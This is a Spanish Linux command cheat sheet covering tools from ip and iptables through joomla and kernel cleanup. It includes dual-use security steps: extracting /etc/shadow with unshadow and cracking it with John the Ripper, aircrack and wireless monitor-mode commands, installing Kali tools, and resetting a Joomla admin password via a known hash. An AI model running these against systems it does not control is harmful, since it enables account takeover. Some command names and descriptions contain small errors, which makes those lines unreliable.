$ ip addr add 192.168.1.20 255.255.255.0 dev eth1
establecer una ip estática
```

```
$ ip addr del 192.168.1.55/24 dev eth0
bajar una ip
```

```
$ ip n
MAC e IP del router
```

```
$ ip link set dev eth1 address 00:03:44:88:00:11
Modificdar la MAC. Previamente bajar la red
```

```
$ ip route del default
Eliminar puerta de enlace para crear una nueva
```

```
$ ip route add default via 192.168.1.10
Crear nueva puerta de enlace
```

```
$ ip route add 192.168.1.53 via 192.168.0.33
redirigir un pc a otro
```

```
$ ip route add 192.168.1.0/24 via 192.168.0.33
redirigir una red a un pc
```

```
$ ip -f inet addr show eth0
información de la dirección ip
```

```
$ ip route add 192.168.2.0/24 via 192.168.1.10
Añadir una red a una puerta de enlace
```

Nota.- Verificar que /etc/resolv contenga una linea con el servidor DNS tipo: nameserver 8.8.8.8 [ para las DNS de google] o la 127.0.0.1

## ip2host

Resuelve las direcciones IP a los nombres de host en los registros del servidor web.

```
# ip2host < /var/log/apache2/error.log > logs.txt
```

## ip-ajustes

### 1.- Estática

```
# gedit /etc/network/interfaces
```

```
auto eth0
iface eth0 inet static
address 192.168.x.x
netmask 255.255.255.0
network 192.168.x.0
boadcast 192.168.2.255
gateway 192.168.x.1
```

```
# /etc/init.d/networking restart
reiniciar el servicio
```

```
$ ip a
verificar la nueva ip
```

## ipband

Mostrar datos de la conexión. Copiar el archivo de configuración:

```
# cp /usr/share/doc/ipband/examples/ipband.conf-simple /etc/ipband.conf
```

Y descomentar o modificar los siguientes parámetros:

```
debug 0
interface eth1
fork yes
htmlfile /srv/www/htdocs/ipbandwidth/index.html
htmltitle Consumo de banda
average 10
accumulate no
maskbits 32
localrange 192.168.1.0/24
Reiniciar el servicio:
```

```
# /etc/init.d/ipband restart
```

Arrancar la aplicación:

```
# ipband
```

Los informes se muestran poniendo en la barra del navegador: <http://localhost/html/ipbandwidth/index.html>

## ipcalc

Calcular las ips y mascararas de una red a partir de una ip dada o un rango.

```
# ipcalc 192.168.0.1/24
```

```
# ipcalc 192.168.0.1/255.255.128.0
```

## ipcrm

Permite eliminar la comunicación entre procesos [ver ipcs]. Si paramos el programa con un Ctrl-C o simplemente sale de forma anormal, el recurso [la memoria compartida] no se libera y queda en el sistema. Con este comando es posible borrarla.

```
# ipcrm -m 950288
eliminar un segmento de memoria compartida
```



## ipcs

Informa sobre la comunicación entre procesos [espacios de memoria, buffers, semaforos...] listando los recursos compartidos que están creados en ese momento. Ver ipcrm. La columna "shmid" muestra el ID, la "owner" el propietario, "perms" los permisos y "bytes" el tamaño en bytes

```
# ipcs -s | grep postgres
```

Muestra los recursos compartidos de postgres

```
# ipcs -lm
```

determinar los limites de memoria compartida del sistema

```
# ipcs -ls
```

Límites actuales del contador que se utiliza para acceder a los recursos compartidos del sistema

```
# ipcs -u
```

Proporciona información sobre la comunicación entre procesos

```
# ipcs -m
```

despliega los segmentos de memoria compartida

```
# ipcs -mu
```

muestra un breve resumen

```
# ipcs -ml
```

muestra los límites en contraposición a los valores actuales

```
# ipcs -m -i 950288
```

obtener detalle de un segmento de memoria compartida [valor shmid]

```
# ipcs -s
```

Muestra los semforos en el sistema

Algunas opciones:

-m (segmentos de memoria compartida )

-q (colas de mensajes )

-s (matrices de semáforos )

-a (todos. Opción por defecto)

-p (pid)

## iperf

Para poder verificar el ancho de banda entre los clientes de una red local. Se instala en todas las máquinas de la red.

```
# iperf -s
```

Poner el servidor a la escucha por el puerto 5001

```
# iperf -c 192.168.1.10
```

Conectar los clientes con el servidor

Alguna sopciones que pueden añadirse:

-f B (Mostrar el resultado en Bytes por segundo [b: bytes/s, k:kilobits/s, m:megabytes/s, B:Bytes/s, K:KiloBytes/s, M:MegaBytes/s] esta opción sirva igual para el cliente que para el servidor)

-t 120 (Tiempo en segundos de duración de la transmisión. Sólo para el cliente)

-D (Lanzarlo como servicio. Sólo en el servidor)

-i 10 (Tempo en segundos entre mediciones. Sólo cliente)

## ipgeolocation

Obtener geolocalización de una ip o un dominio. Descarga: <<https://github.com/maldevel/IPGeoLocation>>

```
$ ./ipgeolocation.py -m
De la propia ip
```

```
$ ./ipgeolocation.py -t 216.58.210.131
De una ip
```

```
$ ./ipgeolocation.py -t google.es
De un dominio
```

```
$ ./ipgeolocation.py -t microsoft.com -u "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko"
Con un Use Agent personalizado
```

```
$ ./ipgeolocation.py -t debian.com -g
Obtener la geolocalización de una ip y abrir la localización en Google Maps a través del navegador por defecto
```

```
$ ./ipgeolocation.py -t lapipaplana.org --csv /consulta.csv
Exportando los datos a un fichero .csv
```

```
$ ./ipgeolocation.py -t lapipaplana.org -e /consulta.txt
Exportando los datos a un fichero .txt
```

```
$ ./ipgeolocation.py -T objetivos.txt
De una lista a raíz de una ip o dominio por linea
```

## ipmitool

[openipmi]. Obtener datos del estado de un servidor [que lo soporte] tanto en local desde el propio servidor cómo en remoto. Se trata de un chipset que permite obtener información del estado de diferentes componentes hardware, temperaturas, voltajes, etc... Primero habilitar el demon ipmievcd:

```
# nano /etc/default/ipmievcd
```

Y modificar la linea:

```
ENABLED=true
```

En algunas distros es preciso cargar los módulos:

```
# ipmi_msghandler
# ipmi_si
# ipmi_devintf
# ipmi_watchdog
# ipmi_poweroff
```

```
# /etc/init.d/ipmi start
Arrancar el servicio
```

```
# ipmitool sensor get "Ambient Temp"
Consulta de la temperatura ambiente
```

```
# ipmitool user list
Listado de usuarios configurados
```

```
# ipmitool -I lan -H 192.168.1.5 -U usuario sel elist
Litar los logs del sistema
```

```
# ipmitool -H 192.168.1.10 -U usuario -P contraseña chassis status
Estado de chasis remoto
```

```
# ipmitool sdr type Temperature
Obtener la temperatura
```

## ippfind

Encuentra servicios registrados o dispositivos disponibles a través de dispositivos locales. Su propósito principal es encontrar impresoras IPP y mostrar sus URI, mostrar su estado actual o ejecutar comandos.

```
$ ippfind -l
Enumera los atributos devueltos por Get-Printer-Attributes para impresoras IPP
```

```
$ ippfind -p
imprimir la dirección de la URI
```

## ipptool

Envía solicitudes IPP arbitrarias a un servidor o a una impresora IPP. Cada archivo de prueba con nombre define una o más solicitudes, incluido el estado de respuesta, los atributos y los valores esperados. La salida es un informe de texto sin formato, texto formateado, CSV o XML en la salida estándar, con un estado de salida distinto de cero indica que una o más pruebas han fallado. ipptool y se puede utilizar para enviar solicitudes IPP arbitrarias a un servidor CUPS o una impresora IPP.

```
$ ipptool -t -v -f test ipp://localhost:631/printers/HP_psc_1100_series text.txt
informe de prueba CUPS [-t], atributos de solicitud y respuesta en modo de prueba CUPS [-v] y
nombre de archivo de solicitud predeterminado para las pruebas [-f]
```

## ips

Programa tipo ps que muestra los estados de los procesos obtenidos en el archivos /proc. Tiene funciones para facilitar el seguimiento de procesos activos, semiactivos y transitorios.

```
$ ips
```

## ipscan

Escanea la red en busca de máquinas activas.

```
$ ipscan -s -f:range 192.168.1.1 192.168.1.255
todo el rango de ips
```

```
$ ipscan -s -f:file ips.txt
Las especificadas en el archivo ips.txt [una por linea]
```

```
$ ipscan -s -f:range 192.168.1.9 192.168.1.16 -o resultat.txt
Derivando el resultado a un archivo
```

## iptables

[= ip6tables]. Herramienta de cortafuegos y trafico de red.

Algunos ejemplos generales:

```
# iptables -F (eliminar todas las reglas)
# iptables -L (si está activo y con qué reglas)
# iptables -L -vn (mostrando los puertos e información detallada)
# iptables -S (mostrar todas las reglas)
# iptables -L -t nat (Listar reglas de una tabla concreta)
# iptables -L fail2ban-ssh (comprobar las ips bloqueadas por fail2ban)
# iptables -D fail2ban-ssh 1 (Quitar la primera ip baneada de las ips bloqueadas)
# iptables -nL --line-numbers (muestra el orden de ejecución de las reglas)
# iptables -nL INPUT (Lista todas las reglas de entrada)
# iptables -nL FORWARD (Lista todas las reglas de salida)
# iptables -D INPUT 3 (borrar la regla número 3)
# iptables -A INPUT -j LOG (Guardar logs de todos los bloqueos)
Bloquear (DROP)
```

```
# iptables -P INPUT DROP (Bloquear todo lo que entra)
# iptables -A INPUT -s IP -j DROP (una ip)
# iptables -A INPUT -s IP -i eth0 -j DROP (una ip de una red)
# iptables -A INPUT -s IP -p tcp -dport 22 -j DROP (un puerto de una ip)
# iptables -A INPUT -s 192.168.1.0/24 -j DROP (una red)
# iptables -A INPUT -m mac --mac-source 00:11:22:33:44:55 -j DROP (una mac)
# iptables -A INPUT -p tcp --destination-port 21 -j DROP (puerto 21 de entrada)
# iptables -A INPUT -p tcp -s IP --destination-port 21 -j DROP (el puerto 21 de entrada sólo para una IP)
# iptables -A INPUT -p tcp -i eth0 -m multiport --destination-port 22,80,443 -j ACCEPT (Varios puertos)
# iptables -A INPUT -p tcp -s 192.168.1.0/24 --destination-port 21 -j DROP (el puerto 21 de entrada para todo un rango de IPs)
# iptables -A FORWARD -p tcp --dport 25 -j DROP (la salida del puerto 25)
# iptables -A INPUT -p tcp --dport 22 -j LOG --log-prefix "Puerto 22 bloqueado" iptables -A INPUT -p tcp --dport 22 -j DROP (haciendo aparecer una mensaje informando del bloqueo)
Permitir (ACCEPT)
```

```
# iptables -I INPUT 3 -s 192.168.1.0/8 -j ACCEPT (a la red especificada y poner la regla en tercer lugar)
# iptables -D INPUT -s 192.168.1.0/8 -j ACCEPT (Quitar la regla anterior)
# iptables -A INPUT -i lo -p all -j ACCEPT (todas las entradas a localhost)
# iptables -A OUTPUT -o lo -p all -j ACCEPT (todas las salidas a localhost)
# iptables -A INPUT -p tcp --dport ssh -j ACCEPT (Un servicio concreto)
# iptables -A INPUT -p tcp -i eth0 -m multiport --destination-port 22,80,443 -j ACCEPT (Todas las entradas a varios puertos)
# iptables -A OUTPUT -o eth0 -p tcp -d 192.168.101.0/24 --dport 22 -j ACCEPT (Permitir trafico ssh saliente para la red especificada)
1.-
```

Salvar las reglas de iptables y restablecerlas manualmente:

```
# iptables-save > /etc/iptables.rules
```

```
# iptables-restore < /etc/iptables.rules
```

Si se quiere añadir reglas a las existentes:

```
# iptables-save -c > /etc/iptables.rules
```

## iptables-persistent

Otra forma de guardas reglas de iptables. Al instalar el paquete pregunta por guardar las reglas existentes, las cuales se guardan en /etc/iptables/rules.v4 y /etc/iptables/rules.v6 [versión más actual de ip6tables]. Si modificamos, añadimos o suprimimos reglas podemos, para volver a guardarlas lanzando:

```
# dpkg-reconfigure iptables-persistent
```

En realidad este paquete lo que hace es:

```
# iptables-save > /etc/iptables/rules.v4
```

```
# ip6tables-save > /etc/iptables/rules.v6
```

Y para restituirlas despues de un reinicio:

```
# iptables-restore < /etc/iptables/rules.v4
```

```
# ip6tables-restore < /etc/iptables/rules.v6
```

Tambien puede usarse cuando se se pueden gardar y releer el archivo con netfilter-persistent que viene con el mismo paquete iptables-persistent:

```
# netfilter-persistent reload
```

```
# netfilter-persistent save
```

O borrar las reglas de iptables:

```
# netfilter-persistent flush
```

## iptotal

Monitor de tráfico IP. Mide el uso del ancho de banda.

```
# iptotal eth0 -r 60
Escuchará 60 segundos antes de informar

# iptotal eth0 -r 120 -d 3 -P (con alto nivel de depuración[-d 3] y modo promiscuo [-P])
```

## iptraf

Muestra información en tiempo real sobre el tráfico de red.

```
# iptraf -i eth0
Analiza todo el trafico de la red eth0

# iptraf -i all
Analiza el de todas las redes

# iptraf -s eth0
Analiza el tráfico agrupandolo por protocolo y puerto

# iptraf -z eth0
Contabiliza paquetes y agrupa por tamaño
```

Una vez lanzada la aplicación, para salir pulsar X

## ipwatchd

Demonio que analiza todos los paquetes ARP entrantes para detectar conflictos de IP. Se puede configurar para escuchar en una o más interfaces en modo activo o pasivo. En modo activo, IPwatchD protege el host antes de que se apodere de la IP respondiendo solicitudes ARP gratuitas recibidas de sistemas en conflicto. En modo pasivo, simplemente registra información sobre conflictos a través de la interfaz syslog estándar. La mencionada configuración ha de realizarse en el archivo:

```
# nano /etc/ipwatch.conf

iface_configuration automatic

#iface eth0 active

#iface eth0:0 passive

defend_interval 10

user_script /usr/sbin/ipwatchd-script

syslog_facility daemon

# ipwatchd -c /etc/ipwatchd.conf -d
activar el daemon
```

## irb

Interprete de comandos interactivo de ruby. Para entrar en la shell:

```
$ irb
irb(main):001:0> print "Hola mundo"
Hola mundo=> nil
irb(main):002:0> exit
$
Explicación de la salida:
```

```

irb(main) (que estás en la consola de irb y en el contexto de un programa)
:001 (La línea en la que te encuentras)
:0 (Profundidad. Por ejemplo en Ruby los IF terminan con END. Si ponemos un IF sin el END,
    el ":0" cambia a ":1" al ponerlo retorna al valor ":0". Si colocamos varios IF
    anidados, entonces el nivel de profundidad dirá :1 nivel de profundidad, :2 niveles de
    profundidad, :3 niveles de profundidad y así sucesivamente)
print ... (Comando a ejecutar)
Hola ... (Ejecución)
==> nil (Final del proceso)
exit (Salir del interprete)

```

## irpas

Paquete que contiene una colección de programas utilizados para operaciones de red avanzadas, pruebas y depuración. Los paquetes incluidos son los siguientes:

- cdp - remitente del paquete del protocolo de descubrimiento de Cisco
- igrp - inyector de ruta IGRP
- ass - Escáner de sistema autónomo
- irdp - remitente IRDP
- irdpresponder - respondedor IRDP
- itrace - trazado de ruta basado en ICMP
- tctrace - Traceroute basado en TCP SYN
- protos - escáner de puertos basado en ICMP
- netmask - pide máscara de red a través de ICMP
- file2cable - Vuelca cualquier archivo binario directamente a ethernet
- dfkaa: soluciona problemas de dispositivos anteriormente conocidos como Ascend (Pipeline, etc  
.)
- netenum: escáner de ping diseñado para scripts de shell
- hsrp: probador de conmutación por error HSRP
- icmp\_redirect - Sistema de redireccionamiento ICMP
- timestamp - Solicitante de marca de tiempo ICMP
- dhcpx - "ejercitador" del servidor DHCP

## irssi

Chatear via terminal.

```

$ irssi
Arrancar la aplicación

```

```

set nick el_nick (establecer nick habitual)
set quit_message Mi Mensaje de salida (mensaje que se mostrará al salir del xat)
save (Obligatorio para guardar todos los cambios)
network list (lista de las redes existentes)
network remove nombre_de_red (borrar una red)
server list (lista de todos los servidores guardados)
server remove nombre_de_servidor (borrar un servidor)
connect la_red (Conectar a una red)
channel add -auto #canal la_red (Conexión automática a determinado canal de una red)
list *linux * (ver listado de canales que tengan linux por titulo)
join #canal (Después de conectar con una red, entrar en determinado canal)

```

```

part #canal mensaje (salir de un canal con un mensaje)
quit (cierra la aplicación)
disconnect servidor (desconecta de un servidor)
msg usuario un_mensaje (Manda un mensaje privado a un usuario)
nick otro_nick> (Cambiar de nick)
close usuario (cierra la ventana de un usuario)
dcc usuario fichero (inicia la transferencia de un archivo con usuario)
exit (desconecta el servidor)
channel (muestra informacion sobre un canal y los usuarios conectados)
win #ventana (cambiar de ventana. igual que con ESC + num de ventana)
script list (Listado)
help script (ayuda)
nick el_nick:contraseña (loguearse con nombre de usuario y contraseña)
msg el_nick set la_contraseña nueva_contraseña (modificar contraseña)
crear una red y servidores:
network add mi_red (crear una red local [mi_red])
server add -auto -network mi_red la_red 6667 password (Establecer que la red local [
mi_red] se conecte automaticamente al arrancar a una red externa [la_red],
especificando puerto y contraseña si procede, en caso contrario suprimir estos dos
últimos parámetros).
Instalar nuevos themes:

```

Descargar de la pagina oficial de irssi (<http://irssi.org/themes>) y moverlos a la carpeta ~/.irssi. Para instalarlos:

```

set theme nombre.theme
save
Para la instalacion de Scripts, descargarlos de la pagina oficial (<http://scripts.irssi.org/>) y
moverlos a la carpeta ~/.irssi/scripts/ si deseamos cargarlos o descargarlos manualmente:

```

```

script load nombre_script (Cargarlo)
script unload nombre_script (Descargarlo)
0 moverlos a la carpeta ~/.irssi/scripts/autorun para que se carguen automaticamente.

```

Nota.- Algunos de estos scripts necesitan para funcionar correctamente de algunas librerias.

Habilitar un registro de las conversaciones:

```

# mkdir /var/log/irssi
Crear la carpeta

# chown usuario:users /var/log/irssi
Asignar permisos

```

Arrancar irssi y teclear:

```

set autolog ON
set autolog_path /var/log/irssi/$tag/$0.log
save

# touch /etc/logrotate.d/irssi

# nano /etc/logrotate.d/irssi

```

Agregar el siguiente contenido:

```

/var/log/irssi/*/*.log {
copytruncate
compress
notifempty
missingok
}

```

## ischroot

Detectar si se está ejecutando en un chroot. El estado de salida es:

```

0 (si actualmente se ejecuta en un chroot)
1 (si actualmente no se está ejecutando en un chroot)
2 (si la detección no es posible)

# ischroot -f
Salir con el estado 1 si la detección no es posible

# ischroot -t (Salir con estado 0 si la detección no es posible.

```

## iso\_8859-1

El estándar ISO 8859-1 es un conjunto de caracteres codificados en octal, decimal y hexadecimal para el juego de caracteres ASCII que son los más utilizados por muchos idiomas de Europa occidental. También conocida como Latin1

```
$ man iso_8859-1
muestra los caracteres unicode
```

```
$ t
ctrl-shift-u b5 intro
```

## isoinfo

Información sobre una iso

```
$ isoinfo -d -i archivo.iso
```

## isoquery

Este programa se puede utilizar para generar una salida tabular de los códigos estándar ISO proporcionados por el paquete iso-codes. Por defecto usa la ISO 3166-1 pero puede especificarse con el argumento -i cualquiera: 639-2, 639-3, 639-5, 3166-1, 3166-2, 3166-3, 4217, 15924.

```
$ isoquery -l es -o
en español y nombre oficial
```

## isosize

muestra el tamaño de un sistema de ficheros iso9660 en bytes

```
$ isosize archivo.iso
```

## ispell-autobuildhash

Es un script que gestionará los archivos hash de ispell autobuild, destinados a ser llamados desde las herramientas comunes de los diccionarios. Dependiendo del nivel de compatibilidad ispell y del nivel de compatibilidad utilizado para el archivo hash si está presente, decidirá si debe ser reconstruido o no. Este script solo funcionará en paquetes ispell preparados para usarlo, no hará nada por otros paquetes de diccionarios ispell.

```
# ispell-autobuildhash --force
```

## issue.net

Muestra la distro instalada.

```
$ cat /etc/issue.net
```

## isympy

Es un shell de Python para SymPy. Es solo un shell python normal [ipython shell si está instalado el paquete ipython]. Para salir: exit()

```
$ isympy -p no -c python
iniciar la shell sin decoración extra
```



## isutf8

[moreutils]. No muestra salida si el archivo tiene una codificación UTF-8 válida. Si no es el caso muestra el aviso.

```
$ isutf8 archivo
```

## itop

Cuando un componente del hardware necesita un recurso, envía una petición de interrupción al sistema llamado IRQ y este suspende momentáneamente alguna rutina de servicio para continuarla cuando finaliza la interrupción. itop muestra estas interrupciones que vendrían a ser lo mismo que actualizar cada segundo el archivo /proc/interrupts:

```
# watch -n 1 cat /proc/interrupts
```

```
# itop
```

Cuando está en ejecución, las teclas de control son:

```
a (Muestra todos los procesos, no solo los en uso)
t (Muestra el clásico top [ver])
q (Sale de "t" cierra la aplicación)
```

```
# itop -n 10
```

```
Sólo muestra 10 procesos
```

## ivstools

[aircrack-ng]

Herramienta para unir/convertir archivos .ivs y .cap

```
$ ivstools --merge captura1.ivs captura2.ivs captura3.ivs total.ivs
```

```
$ ivstools --captura.cap nuevo.ivs
```

## iwconfig

Relacionado con direcciones ip y dispositivos de red inalámbricos

```
# iwconfig
```

```
Ver los datos de conexión de la red inalámbrica
```

```
# iwconfig eth0
```

```
Si se asocia la tarjeta de red con la conexión
```

```
# iwconfig wlan0 mode Managed
```

```
activar el modo managed
```

```
# iwconfig wlan0 mode monitor
```

```
activar modo monitor
```

```
# iwconfig wlan0 key open CLAVE
```

```
ingresar contraseña, si la hay. Si omitimos open se interpreta que la clave es restricted
```

```
# iwconfig wlan0 essid ESSID
```

```
ESSID= nombre de la red
```

Crear una Red Wifi AdHoc

```
$ iwconfig wlan0 mode Ad-Hoc
```

```
$ iwconfig wlan0 essid "nombre_de_la_red"
```

```
$ iwconfig wlan0 key s:clave
```

```
$ ifconfig wlan0 xx.xx.xx.xx netmask yy.yy.yy.yy
```

**iwlist**

```
# iwlist eth0 scan  
scaneo de los puntos de acceso cercanos
```

```
# iwlist s  
Lo mismo para todas las interfaces
```

---

## J

---

### jargon

Compendio completo de jerga hacker que ilumina muchos aspectos de la tradición, el folklore y el humor hackish en lengua inglesa. El archivo está en formato de información, pero incluye una página HTML con enlaces al sitio de inicio. Este paquete está desactualizado porque el autor ya no mantiene una versión informativa del archivo.

```
$ jargon
```

### java

Lenguaje de programación

```
$ java -jar fichero.jar
Ejecuta un programa escrito en java
```

### jeekyll

Script de ruby para transformar texto plano en páginas web estáticas y blogs.

```
# gem install jeekyll
Instalar la gema
```

```
$ jeekyll new mi_sitio
crear el directorio del site
```

```
$ cd mi_sitio
Entrar en el directorio creado
```

```
$ jeekyll build
Generar el site
```

```
$ jeekyll serve --watch
Acceder a la versión local del site en http://localhost:4000. El argumento --watch permite que si se realizan cambios en los archivos, éstos se puedan ver inmediatamente recargando la página del navegador
```

### jhead

mostrará toda la metainformación incrustada en un fichero JPG incluyendo la miniatura [thumbnail] de la foto original

```
$ jhead -st miniatura.jpg imagen_para_analizar.jpg
```

```
$ jhead -dt imagen.jpg
borrar el thumbnail
```

## J

```
$ jhead -mkexif imagen.jpg
borra datos
```

```
$ jhead -purejpg imagen.jpg
borra efex
```

```
$ jhead -n%Y-%m-%d_%H-%M-%S *.jpg
Renombrar con la fecha y hora de la metainformación
```

## jnettop

Monitor del tráfico de red ordenado por el ancho de banda utilizado.

```
# jnettop
```

## jobs

Informa sobre los trabajos en ejecución pendientes de finalización que se encuentran en background.

```
$ jobs
uso básico
```

```
$ jobs -l
Mostrar también el ID
```

```
$ jobs -p
Mostrar sólo el ID
```

Algunas opciones:

```
-r (Mostrar sólo las que están procesandose)
-s (Sólo las que están paradas)
```

## joe

Editor de texto

```
$ joe -linums fichero
Abre fichero numerando las lineas
```

Algunas teclas de control ["^k h" significa pulsar la tecla Ctrl y sin soltarla pulsar la letra k, soltar estas teclas y pulsar h]

```
^k h (Abrir/cerrar ventana de ayuda. Con esc . se avanza en las ventanas de ayuda y con
    esc , se retrocede)
^k d (Guardar archivo sin salir)
^k x (Guardar y salir)
^c (Salir sin guardar)
^k f (Buscar palabra)
^u (Pantalla anterior)
^v (Pantalla siguiente)
^a (Ir al principio de linea)
^e (Ir al final de la linea)
^k u (Ir al principio del documento)
^k v (Ir al final del documento)
^d (Borrar caracter)
^y (Borrar linea)
^w (Borrar palabra siguiente)
^o (Borrar palabra anterior)
^_ (Deshacer)
^c (Cancelar)
```

## john

Herramienta que permite averiguar contraseñas encriptadas

El de los repositorios acostumbra a estar capado. Descargar el programa y el parche de:

```
$ wget http://www.openwall.com/john/g/john-1.7.3.4.tar.gz
```

```
$ wget http://openwall.info/wiki/_media/john/john-1.7.3.1-generic-crypt-1.diff.gz
```

Descomprimir:

```
# tar xvzf john-1.7.3.4.tar.gz
```

Entrar al directorio del programa:

```
# cd john-1.7.3.4
```

Aplicar el parche:

```
# gzip -dc ../john-1.7.3.1-generic-crypt-1.diff.gz | patch -p1
patching file src/Makefile

patching file src/crypt_fmt.c

patching file src/john.c

Hunk #2 succeeded at 67 (offset 2 lines).
```

El directorio donde se encuentra el código fuente es src:

```
# cd src
```

```
# make
```

Con make obtendrá una lista de los sistemas soportados, luego:

```
# make linux-x86-64
```

Si el sistema no esta en la lista:

```
# make clean generic
```

Pruebas de detección de correcto funcionamiento.

```
# cd ../run
```

```
# ./john --test
```

El fichero john.pot contiene los resultados encontrados por john. Si el fichero no está vacío significa que john ha encontrado la contraseña. El fichero john.rec contiene el estado actual de la búsqueda por si se produce una interrupción y es utilizado por el programa para reanudar la búsqueda.

1.-

Comprobación de la fortaleza de nuestra contraseñas:

```
# unshadow /etc/passwd /etc/shadow > contraseñas.txt
```

```
# john contraseñas.txt
```

```
# john --single contraseñas.txt
usandolo el modo single
```

```
# john --incremental contraseñas.txt
Usando el modo incremental
```

```
# john --wordlist=diccionario.lst --rules contraseñas.txt
Usando un diccionario
```

```
# john --show contraseñas.txt
Ver resultados
```

## join

Muestra líneas coincidentes

```
$ join fichero1 fichero2

$ join -v 1 fichero1 fichero2
mostrar líneas de fichero1 que no existen en fichero2
```

## joomla

Recuperar la clave para acceder al administrador.

Instalar webmin y desde el navegador: <https://localhost:10000>

En servidores -> Servidor BD MySQL clicar sobre la base de datos de joomla, editar la tabla jos\_users i mostrar los datos id. Los usuarios estan numerados a partir del número 62. Editamos la fila del administrator admin (por ejemplo), borramos la clave y le ponemos esta:

```
1c7a92ae351d4e21ebdfb897508f59d6
Guardar y entrar como administrator en nuestra web con el nombre de usuario: admin y la contraseña
: holamundo
```

Luego volver a modificar la contraseña desde el panel de control de joomla.

## jot

[athena-jot]. Mostrar secuencias de datos o datos aleatorios.

```
$ jot 5
Mostrar del 1 al 5

$ jot 5 20
Mostrar 5 números consecutivos a partir del 20

$ jot 7 20 30
Mostrar 7 números entre el 20 y el 30

$ jot 7 20.00 30.00
Mostrar 7 números del 20 al 30 con 2 decimales

$ jot -p2 7 20 30
Lo mismo con el parámetro p

$ jot - 20 30 2
Omitiendo el parámetro de la cantidad de números [-] y del 20 al 30 saltando de 2 en 2

$ jot -r 4 10000 99999
4 números aleatorios entre los especificados

$ jot -s " " -b "-x-" 20
20 caracteres especificados [-b] separados por un espacio [-s]

$ jot -s "" -c 26 a
26 letras [-c] empezando por la A y sin espacio entre ellas
```

## journalctl

Sistema de registro [log] propio de systemd.

```
# journalctl
Leer el registro

# journalctl -b
Mostrar todos los mensajes de arranque

# journalctl -n
muestra los últimos 10

# journalctl -n 20 (muestra los últimos 20=

# journalctl -b -0
Muestra los mensajes del arranque actual

# journalctl -b -1
Muestra los mensajes del arranque anterior

# journalctl -b -2
Muestra los mensajes desde los dos últimos arranques

# journalctl --list-boots
Muestra los últimos arranques guardados por el sistema. Si el sistema no guarda los registros de
arranque hay que editar el fichero /etc/systemd/journald.conf y añadir/editar la línea Storage=
persistent dentro de la sección [Journal]

# journalctl -b 27487d1e4b1241df93a55949aef01161
También se puede consultar los mensajes de un arranque en concreto poniendo el identificador que
aparece con --list-boots

# journalctl -f
Seguir los mensajes nuevos

# journalctl -k
registro de mensajes del kernel desde el último inicio

# journalctl -p crit
ver los registros según su prioridad crítica

# journalctl _PID=1
Mostrar mensajes por su PID

# journalctl -u sshd
Mostrar mensajes de una unidad específica

# journalctl --since yesterday
Muestra los mensajes des de el día de ayer. Los de hoy "today"

# journalctl --since "2016-09-13"
Muestra los mensajes des de el día especificado en el formato YYYY-MM-DD
```

1.-

Hacer que el demonio syslog funcione con journal

```
# systemctl enable syslog-ng
```

## jp2a

Convertir imagenes jpeg a ascii.

```
$ jp2a --background=light -b --colors imagen.jpg
Sin fondo, con borde y color

$ jp2a --color --html --fill --background=dark entrada.jpg output=salida.html
con un html de salida

$ jp2a URL/imagen.jpg
Con una URL de entrada
```

Algunas opciones:

```
--size=40x25      (Especificando medidas)
--html-title=Imagen (con un titulo)
--html-no-bold    (Sin caracteres en negrita)
```

## jpeginfo

Información y test de integridad de imagenes jpeg.

```
$ jpeginfo -c imagen.jpeg
comprobar el archivo en busca de errores
```

```
$ jpeginfo -5 imagen.jpeg
Muestra el md5 de la imagen
```

```
$ jpeginfo -i -v imagen.jpeg
maxima información de archivo especificado
```

## jpegjudge

Determina la calidad de un jpeg en una escala de 0 [menor] a 1000 [mayor calidad]

```
$ jpegjudga -b imagen.jpeg
Mostrar solo el número
```

Nota.- Puede observarse el deterioro pasando un jpeg a png y volver a pasarlo a jpeg y comparar los resultados del primer jpeg y el último.

## jpegoptim

Optimizar archivos .jpeg. Por defecto se sobrescriben los originales. Si no es posible la optimización no produce salida.

```
$ jpegoptim imagenes/*.jpg
Forma básica de todas las de un directorio
```

```
$ jpegoptim imagen.jpg -d optimizado
Colocando la optimización en otro directorio
```

```
$ jpegoptim -f imagen.jpg
Forzando optimización incluso si el resultado es más grande que el original
```

```
$ jpegoptim -t imagen.jpeg
borrando los marcadores en el archivo de salida
```

## jpegtran

Eliminar información y reducir, modificar o recortar tamaño de imagenes jpeg.

```
$ jpegtran -copy none optimize original.jpg resultado.jpg
Eliminando información oculta [-copy none] y reduciendo la imagen [-optimize]
```

Algunas opciones:

-grayscale (Forzar salida a escala de grises)

-rotate 90 (Rotar 90º)

-flip horizontal (Imagen espejo horizontal [izquierda-derecha])

-flip vertical (Imagen espejo vertical [arriba-abajo])



## jumanji

Navegador estilo vi con soporte flash.

Configuración:

```
$ nano .config/jumanji/jumanjirc
# jumanji configuration
# search engines
searchengine gg http://google.es
searchengine yo http://www.youtube.com/results?search_query=%s&aq=f
# browser settings
set homepage http://www.lapipaplana.com
set auto_save 60
set single_instance false
# downloads
set download_dir ~/downloads/
set download_command urxvt -e wget --load-cookies ~/.config/jumanji/cookies '%s' -O '%s';
# look
set font droid sans mono medium 8
# key bindings
map <C-q> quit
# session
set default_session_name start
set session_restored true
# Enable plugins
plugin application/x-shockwave-flash
```

Atajos:

```
o (entrar URL)
t (entrar URL en nueva ventana)
j (bajar por la página)
k (subir)
h (ir a la izquierda)
k (ir a la derecha)
^f (Descenso al final de la página)
^b (Regreso al inicio de la página)
w (abrir una dirección en una nueva ventana)
^w (Cerrar ventana)
^Tab (Cambiar de pestaña)
^I (página anterior)
^o (página siguiente)
? (Buscar palabra)
r (Recargar la página)
R (Recargar ignorando la caché)
y (Copiar la dirección de la página al portapapeles)
^s (Mostrar código fuente)
^q (Salir)
```

---

## K

---

### katoolin

[git python]. Instalar las herramientas de kali linux. Descarga:

```
$ git clone https://github.com/LionSec/katoolin.git
```

```
$ cd katoolin
```

```
$ python katoolin.py
```

entrar en la aplicación. Permite entre otras cosas, agregar los repositorios de kali linux, crear un menú o actualizarlos

### kbdrate

Establece la tasa de repetición del teclado y el tiempo de retardo en las tty.

```
# kbdrate -d 200 -r 10
```

establece retardo de 200 milisegundos y velocidad de repetición de 10 por segundo

### kernel

1.-

Suprimir kernels antiguos

```
# uname -r
```

para conocer el último

```
# dpkg --get-selections | egrep linux-image
```

```
linux-image-2.6.17-11-generic install
```

```
linux-image-2.6.20-15-generic install
```

```
linux-image-2.6.20-16-generic install
```

Dejar el actual y suprimir los otros:

```
# apt-get remove --purge linux-image-2.6.17-11-generic
```

2.-

Instalar nuevo kernel:

